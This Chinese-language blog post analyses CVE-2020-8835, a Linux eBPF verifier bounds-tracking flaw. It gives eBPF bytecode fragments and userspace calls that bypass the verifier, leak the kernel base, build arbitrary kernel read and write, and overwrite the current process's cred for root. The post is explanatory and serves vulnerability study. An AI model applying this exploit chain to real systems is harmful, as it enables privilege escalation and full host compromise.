【OwVA】CVE-2020-8835 eBPF 漏洞分析

介绍

CVE-2020-8835 是位于 Linux 内核 eBPF 模块的漏洞,对其进行利用之后可以实现权限提升,在这个 commit 被引入。

本次分析使用该次 commit 的内核源码进行编译后作为漏洞环境,对漏洞进行分析。

背景

什么是 eBPF

eBPF 的前身是 BPF,BPF 最初被设计用于捕获和过滤与特定规则匹配的网络数据包,被实现在基于寄存器的虚拟机上执行的程序。eBPF 在 BPF 的基础上进行了拓展,实现了更多的功能。使用 eBPF 可以允许在内核态执行沙盒程序,从而可以在不更改内核源码或者加载内核模块的情况下实现一些适合在内核态完成的工作,比如网络性能、防火墙、安全性、追踪、设备驱动等。

eBPF 在内核中是事件驱动的,可以 hook 到不同的事件点(例如收发 socket 消息),在发生这些事件的时候执行 eBPF 程序。

eBPF 的虚拟机具有 10 个寄存器,以及其特定的栈,可以通过指令对这些寄存器的值、栈以及内存进行操作。

Linux 内核以字节码的形式加载 eBPF 程序,通常使用伪 C 代码编写 eBPF 程序,然后使用编译器编译成 eBPF 字节码。eBPF 程序的指令形式如下所示:

BPF_MOV64_IMM(BPF_REG_3, 1)  // 将立即数 1 放置到第 3 个寄存器中
BPF_ALU64_REG(BPF_ARSH, BPF_REG_7, BPF_REG_5)  // 将寄存器 7 的值算术右移寄存器 5 的值
BPF_JMP_IMM(BPF_JNE, BPF_REG_3, 0, 3)  // 分支跳转:如果寄存器 3 的值不等于 0,则跳过 3 条指令
BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_9, 24)  // 从寄存器 9 + 24 的地址处加载数据到寄存器 3
BPF_STX_MEM(BPF_DW, BPF_REG_8, BPF_REG_6, 0)  // 将寄存器 6 的值存放到寄存器 8 所处的地址处

eBPF 程序通过 bpf 系统调用传递给内核态,bpf 系统调用定义如下:

int bpf(int cmd, union bpf_attr *attr, unsigned int size);

其中 cmd 表示各种命令,可以由用户态指定。比如 BPF_PROG_LOAD 命令可以将 eBPF 程序加载到内核态中。执行该命令之后会返回一个文件描述符,如果将该文件描述符与一个 socket 关联,就可以对该 socket 数据进行过滤;BPF_MAP_CREATE 命令可以创建 Maps,Maps 是存储数据的键值对,可以用来做 eBPF 程序和内核与用户空间之间进行数据传递。

当 eBPF 程序通过 BPF_PROG_LOAD 命令被加载到内核之后,会经历两个阶段: 验证(Verification) 和 JIT 编译。其中 JIT 编译阶段将字节码翻译成机器指令,从而使得 eBPF 可以更高效地执行。

验证阶段确保所执行的 eBPF 程序是安全的:

  • 除非开启了非特权 eBPF,否则只有特权级进程才能加载 eBPF 程序
  • 这个 eBPF 程序不会对系统造成危害:模拟一次执行,每条指令执行都检查虚拟机状态,确保状态的安全
  • 这个 eBPF 程序不会阻塞(死循环)
  • 不能对指针进行超过指针可控制内存范围的算术运算
  • ……

为此,验证阶段必须针对每个程序指令,跟踪哪个寄存器包含指针,哪个寄存器包含标量值等。同时,为了防止越界读写,需要对寄存器中的指针值进行范围计算,对标量值进行范围追踪,使得对内存的访问不会超过其边界。这里通过 struct bpf_reg_state结构体完成,为了确定寄存器中的值的边界,需要对以下 3 个单独的边界进行追踪(其实跟 V8 的类型整数类型推导阶段差不多):

  1. umin 和 umax:当解释器将寄存器的值解释为无符号整数时的最小值和最大值
  2. smin 和 smax:当解释器将寄存器的值解释为有符号整数时的最小值和最大值
  3. var_off:是一个结构体(tnum),表示可以包含的值的二进制的形式,比如 var_off.value = 010var_off.mask = 100,则该寄存器可以包含 010 和 110(跟子网掩码的形式差不多),即 mask 为 1 的位表示该 value 位不确定,当 mask 为 0 表示该位取值确定。

上述这 3 个追踪的值可以相互更新,例如如果 umax 小于 2^63,则 smin 会被设置为 0(因为不会有负数出现),如果 var_off 指示寄存器只有最低 3 位可能为 1,则 umax 为 7

如果能对 eBPF 程序的验证阶段进行绕过,则可能在执行时对内核进行利用,从而实现权限提升等效果。

漏洞

CVE-2020-8835 存在于该版本新引入的 __reg_bound_offset32 函数中,该函数用来在 32-Bit 运算下对寄存器的范围进行估算,主要用于验证阶段,对 eBPF 的 BPF_JMP32_IMM 指令的分支进行估算,判断哪些分支可以到达,从而进一步进行安全性验证。该函数的实现如下:

static void __reg_bound_offset32(struct bpf_reg_state *reg)
{
    u64 mask = 0xffffFFFF;
    struct tnum range = tnum_range(reg->umin_value & mask,
                       reg->umax_value & mask);
    struct tnum lo32 = tnum_cast(reg->var_off, 4);
    struct tnum hi32 = tnum_lshift(tnum_rshift(reg->var_off, 32), 32);

    reg->var_off = tnum_or(hi32, tnum_intersect(lo32, range));
}

但是这个函数的实现明显存在问题,在调用 tnum_range 函数时,其将各个值与 0xffffffff 作了操作,而如果 reg->umax_value 的值为 2^32 + 1 时,所得到的 range 就是确定的 1[1, 1]),那么之后经过 tnum_intersect 以及 tnum_or 之后,得到的 tnum 结构的低 32 位将是确定的 0x00000001 值。也就是说,无论该寄存器的值取多少,验证阶段都会认为该寄存器的值为 1,而实际执行的时候给该寄存器赋其他值,例如 2,从而可能导致后续真正的执行阶段由于没有对边界做处理,出现越界错误。

利用

利用的方式是构建一个 eBPF 程序,并将其挂在 socket 中,使其在用户态程序通过 socket 进行通信时被调用。

构建 eBPF 程序时,如果直接在字节码构造阶段直接给某一寄存器赋值 2,则会使得验证阶段判断该寄存器的值为确定的 2,从而无法触发漏洞,因此利用阶段需要使用 Maps 从用户空间动态加载值到指定寄存器中(这里是 r6):

/* 3 is Map fd */
BPF_LD_MAP_FD(BPF_REG_1, 3),  // Load Map FD into r1

/* Key */
BPF_ALU64_IMM(BPF_MOV, BPF_REG_6, 0),  // Mov 0 into r6
BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_6, -8),  // Save r6 into [r10 - 8]
BPF_MOV64_REG(BPF_REG_7, BPF_REG_10),  // Mov r10 into r7
BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, -8),  // r7 = r7 - 8
BPF_MOV64_REG(BPF_REG_2, BPF_REG_7),  // Mov r7 into r2

/* Get Map Values */
BPF_RAW_INSN(BPF_JMP|BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem),
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
BPF_EXIT_INSN(),

BPF_MOV64_REG(BPF_REG_9, BPF_REG_0),  // Save Map into r9
BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_9, 0),

接下来需要构造 r6 寄存器对应的 umin 和 umax 的值,直接使用两个条件跳转指令即可,但是需要注意的是需要借助寄存器来构造与 2^32 + 1 的比较:

BPF_JMP_IMM(BPF_JGE, BPF_REG_6, 1, 1),  // r6 >= 1
BPF_EXIT_INSN(),

BPF_MOV64_IMM(BPF_REG_8, 1),
BPF_ALU64_IMM(BPF_LSH, BPF_REG_8, 32),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_8, 1),
BPF_JMP_REG(BPF_JLE, BPF_REG_6, BPF_REG_8, 1),  // r6 <= 0x100000001
BPF_EXIT_INSN(),

得到了触发漏洞的必要条件之后,接下来执行 BPF_JMP32_IMM(BPF_JNE, BPF_REG_6, 5, 1) 使其调用 __reg_bound_offset32 函数即可,这是验证器已经认为 r6 的值是确定的 1 了,然后我们使用位运算对 r6 作一个简单运算:

BPF_ALU64_IMM(BPF_AND, BPF_REG_6, 2),
BPF_ALU64_IMM(BPF_RSH, BPF_REG_6, 1),

因为 1 & 2 得到 0,所以执行上面两条指令之后验证器认为 r6 的值为 0,而实际上我们可以通过 Maps 将 r6 赋值为 2,从而使得执行完上面两条指令之后 r6的值为 1。由于验证器认为 r6 的值时钟为 0,我们可以绕过 eBPF 程序对指针运算的检查限制,从而实现内存越界读写。

泄漏内核基地址

由于有 KASLR 的存在,因此第一步需要泄漏内核基地址。根据 ZDI 的文章可以知道,当创建了 BPF_MAP_TYPE_ARRAY 类型的 Maps 之后,其在内核中是用 struct bpf_array 来表示的:

struct bpf_array {
	struct bpf_map map;
	u32 elem_size;
	u32 index_mask;
    // ...
}

而该结构体的第一个字段是 struct bpf_map 结构体:

struct bpf_map {
	const struct bpf_map_ops *ops ____cacheline_aligned;
    // ...
}

可以看到 struct bpf_map 结构体的第一个字段是一个 ops 指针,该指针指向 array_map_ops 变量,该变量位于内核 rodata 段中。因此我们可以通过泄漏该指针的值进一步泄漏内核基地址:

该指针位于 Maps 的可控内存起始地址的 -0x110 偏移处,通过读取该处的值并计算,从而泄漏内核基地址:

BPF_ALU64_IMM(BPF_MUL, BPF_REG_6, 0x110),
BPF_MOV64_REG(BPF_REG_7, BPF_REG_9),  // r9 存放 Maps
BPF_ALU64_REG(BPF_SUB, BPF_REG_7, BPF_REG_6),  // 此时 r7 是 ops 字段的地址
BPF_LDX_MEM(BPF_DW, BPF_REG_8, BPF_REG_7, 0),  // 读取 r7 地址的内容
BPF_STX_MEM(BPF_DW, BPF_REG_9, BPF_REG_8, 0x10),  // 存放回 Maps

接着在用户态调用 bpf_lookup_elem 函数可以泄漏 array_map_ops 的地址。

bpf_lookup_elem(ctrlmapfd, &key, ctrlbuf);
uint64_t kernel_leak = ctrlbuf64[2];

任意内存读取

那么如何实现任意内存值的读取呢?根据 ZDI 的文章可以知道,在 struct bpf_map结构体中还存在一个字段 bpf,该字段是一个指针,所指向的内容可以通过 bpf_map_get_info_by_fd 函数进行泄漏:

if (map->btf) {
    info.btf_id = btf_id(map->btf);
    info.btf_key_type_id = map->btf_key_type_id;
    info.btf_value_type_id = map->btf_value_type_id;
}

由于 info.btf_id 是 uint32_t 类型,因此一次可以读取 4 字节的内容。

我们仍然使用之前的越界写,在每次需要读取内存时将 btf 字段改写为目标内存(对应的偏移):

BPF_ALU64_IMM(BPF_MUL, BPF_REG_6, 0xd0),
BPF_MOV64_REG(BPF_REG_7, BPF_REG_9),
BPF_ALU64_REG(BPF_SUB, BPF_REG_7, BPF_REG_6),
BPF_LDX_MEM(BPF_DW, BPF_REG_8, BPF_REG_9, 0x10),  // 从 Maps 加载更改的地址
BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_8, 0),

然后在用户态使用 BPF_OBJ_GET_INFO_BY_FD 命令获取读取的值:

bpf_obj_get_info_by_fd(ctrlmapfd, 0x50, buf);
uint32_t value = *(unsigned int*)&buf[0x40];

任意内存写

现在获得了任意内存读取的能力,如果想要实现内核提权,最好是可以拥有任意内存写入的能力,这样可以直接改写 cred 变量对应的值。

任意内存写的实现则有些巧妙。在变量 array_map_ops 中,存放着一些函数指针。

在对 Maps 进行更新的时候会调用这些函数指针。因此,我们可以伪造一个 ops,对原来的 ops 指针进行改写,在伪造的 ops 中,将 map_push_elem 函数指针的值改为 array_map_get_next_key 函数,该函数实现如下:

static int array_map_get_next_key(struct bpf_map *map, void *key, void *next_key)
{
    struct bpf_array *array = container_of(map, struct bpf_array, map);
    u32 index = key ? *(u32 *)key : U32_MAX;
    u32 *next = (u32 *)next_key;

    if (index >= array->map.max_entries) {
        *next = 0;
        return 0;
    }

    if (index == array->map.max_entries - 1)
        return -ENOENT;

    *next = index + 1;  // 可以实现写入
    return 0;
}

如果能够控制 key 和 next_key 的值,就可以实现任意内存任意值写入。而 map_push_elem 函数指针类型的定义如下:

int (*map_push_elem)(struct bpf_map *map, void *value, u64 flags);

可以看到,我们可以控制该函数的 value 和 flags。该函数会当 Maps 的类型为 BPF_MAP_TYPE_STACK 的时候调用 BPF_MAP_UPDATE_ELEM 命令时调用,由于我们可以使用越界读写对 Maps 的字段进行更改,因此也可以很容易实现对 Maps 的类型字段进行更改,从而在调用使用 BPF_MAP_UPDATE_ELEM 命令时获得任意内存写入的能力。

BPF_MOV64_REG(BPF_REG_8, BPF_REG_6),  /* Write ops */
BPF_ALU64_IMM(BPF_MUL, BPF_REG_6, 0x110),
BPF_MOV64_REG(BPF_REG_7, BPF_REG_9),
BPF_ALU64_REG(BPF_SUB, BPF_REG_7, BPF_REG_6),
BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_9, 0x10),
BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_6, 0),

BPF_MOV64_REG(BPF_REG_6, BPF_REG_8),  /* Change type */
BPF_ALU64_IMM(BPF_MUL, BPF_REG_8, 0xf8),
BPF_MOV64_REG(BPF_REG_7, BPF_REG_9),
BPF_ALU64_REG(BPF_SUB, BPF_REG_7, BPF_REG_8),
BPF_ST_MEM(BPF_W, BPF_REG_7, 0, 0x17),

/* Bypass "if (index >= array->map.max_entries)" Check*/
BPF_MOV64_REG(BPF_REG_8, BPF_REG_6),
BPF_ALU64_IMM(BPF_MUL, BPF_REG_6, 0xec),
BPF_MOV64_REG(BPF_REG_7, BPF_REG_9),
BPF_ALU64_REG(BPF_SUB, BPF_REG_7, BPF_REG_6),
BPF_ST_MEM(BPF_W, BPF_REG_7, 0, -1),

BPF_ALU64_IMM(BPF_MUL, BPF_REG_8, 0xe4),
BPF_MOV64_REG(BPF_REG_7, BPF_REG_9),
BPF_ALU64_REG(BPF_SUB, BPF_REG_7, BPF_REG_8),
BPF_ST_MEM(BPF_W, BPF_REG_7, 0, 0),
BPF_EXIT_INSN(),

泄漏 cred 地址

为了实现内核提权,需要改写当前进程对应的 cred 中的值。现在已经泄漏了内核基地址,因此需要使用内核基地址对 cred 地址进行泄漏。

在内核中,存在一个 init_pid_ns 变量,内核通过该变量以及进程对应的 pid 来查找某个进程对应的 task_struct 变量。因此,我们可以模拟内核对 task_struct的查找过程,来泄漏 cred 的地址。

首先,我们可以看到在 kernel/pid.c 中的 find_task_by_pid_ns 函数:

struct task_struct *find_task_by_pid_ns(pid_t nr, struct pid_namespace *ns)
{
    RCU_LOCKDEP_WARN(!rcu_read_lock_held(),
             "find_task_by_pid_ns() needs rcu_read_lock() protection");
    return pid_task(find_pid_ns(nr, ns), PIDTYPE_PID);
}

该函数调用 find_pid_ns 函数查找一个 struct pid * 传递给 pid_task,因此我们先关注 find_pid_ns 函数的调用逻辑:

struct pid *find_pid_ns(int nr, struct pid_namespace *ns)
{
    return idr_find(&ns->idr, nr);
}

void *idr_find(const struct idr *idr, unsigned long id)
{
    return radix_tree_lookup(&idr->idr_rt, id - idr->idr_base);
}

void *radix_tree_lookup(const struct radix_tree_root *root, unsigned long index)
{
    return __radix_tree_lookup(root, index, NULL, NULL);
}

该函数最终会使用 init_pid_ns 变量的 idr->idr_rt 字段,调用 __radix_tree_lookup 函数,同时根据所查进程的 pid 计算得到 index 作为参数进行查询。

而 __radix_tree_lookup 是一个对树结构进行查找的过程:

void *__radix_tree_lookup(const struct radix_tree_root *root,
              unsigned long index, struct radix_tree_node **nodep,
              void __rcu ***slotp)
{
    struct radix_tree_node *node, *parent;
    // ...
 restart:
    parent = NULL;
    radix_tree_load_root(root, &node, &maxindex);  // 将 root->xa_head 赋值给 node

    while (radix_tree_is_internal_node(node)) {
        unsigned offset;

        parent = entry_to_node(node);
        offset = radix_tree_descend(parent, &node, index);  // 根据 index 从 parent 获得下一个 node

        if (node == RADIX_TREE_RETRY)
            goto restart;
        if (parent->shift == 0)
            break;
    }
    return node;
}

上述代码省略了一些不必要的内容,最终如果某一个 node 的 shift 字段为 0 的时候,会返回这个 node 的下一个 node。这里还需要关注的是 radix_tree_descend 的逻辑:

static unsigned int radix_tree_descend(const struct radix_tree_node *parent,
            struct radix_tree_node **nodep, unsigned long index)
{
    unsigned int offset = (index >> parent->shift) & RADIX_TREE_MAP_MASK;
    void __rcu **entry = rcu_dereference_raw(parent->slots[offset]);

    *nodep = (void *)entry;
    return offset;
}

其中 RADIX_TREE_MAP_MASK 的值为 0,其通过传进来的 index 与 shift 字段进行运算,最终得到索引之后从 slots 字段中获得相应的 node

基于上述逻辑,我们可以通过当前进程的 pid 以及 init_pid_ns 的地址,结合各个字段的偏移,最终循环遍历得到当前进程对应的 node,该 node 即传递给 pid_task 函数的 struct pid * 类型的对象。然后,我们再进入 pid_task 函数的逻辑:

struct task_struct *pid_task(struct pid *pid, enum pid_type type)
{
    struct task_struct *result = NULL;
    if (pid) {
        struct hlist_node *first;
        first = rcu_dereference_check(hlist_first_rcu(&pid->tasks[type]),
                          lockdep_tasklist_lock_is_held());
        if (first)
            result = hlist_entry(first, struct task_struct, pid_links[(type)]);
    }
    return result;
}
EXPORT_SYMBOL(pid_task);

该函数首先获得 pid->tasks[type] 的值,这个值实际上就是对应 struct task_struct 结构体中 pid_links 的地址,从而可以通过偏移求的 struct task_struct 的首地址:

之后进一步计算,可以得到对应的 cred 字段的地址。之后,通过任意内存写对 cred 相应字段进行更改,实现权限提升。

总结

eBPF 有点像内核态的一个可执行引擎,用户态给定指令之后经过验证之后可以在内核态获得特权级别的执行,因此如果能绕过 eBPF 程序的验证阶段将比较容易地实现利用。

这个漏洞就是一个在对寄存器范围的估计上出现的错误,从而导致验证阶段对程序安全性验证的失效,进一步实现内核利用。

参考

Leave a Reply

Your email address will not be published. Required fields are marked *